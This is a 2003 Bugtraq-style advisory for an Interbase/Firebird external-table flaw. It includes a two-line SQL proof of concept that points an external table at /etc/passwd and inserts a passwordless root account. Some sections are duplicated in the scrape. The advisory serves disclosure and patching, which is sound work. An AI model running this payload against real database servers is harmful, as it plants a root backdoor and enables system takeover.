Interbase External Table File Verification Vulnerability
BID:7291
Info
Interbase External Table File Verification Vulnerability
| Bugtraq ID: | 7291 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Apr 05 2003 12:00AM |
| Updated: | Apr 05 2003 12:00AM |
| Credit: | Discovery of this vulnerability credited to Kotala Zdenìk <[email protected]>. |
| Vulnerable: |
Firebird Firebird 1.0.2 Borland/Inprise Interbase 6.5 Borland/Inprise Interbase 6.4 Borland/Inprise Interbase 6.0 |
| Not Vulnerable: |
Borland/Inprise Interbase 7.0 |
Discussion
Interbase External Table File Verification Vulnerability
A vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases.
A vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases.
Exploit / POC
Interbase External Table File Verification Vulnerability
The following proof of concept was provided:
create table test external '/etc/passwd' (id char(80));
insert into test values('r00t::0:0:root:/root:/bin/bash');
The following proof of concept was provided:
create table test external '/etc/passwd' (id char(80));
insert into test values('r00t::0:0:root:/root:/bin/bash');
Solution / Fix
Interbase External Table File Verification Vulnerability
Solution:
This vulnerability does not affect Interbase 7.0. Affected users are advised to upgrade.
Solution:
This vulnerability does not affect Interbase 7.0. Affected users are advised to upgrade.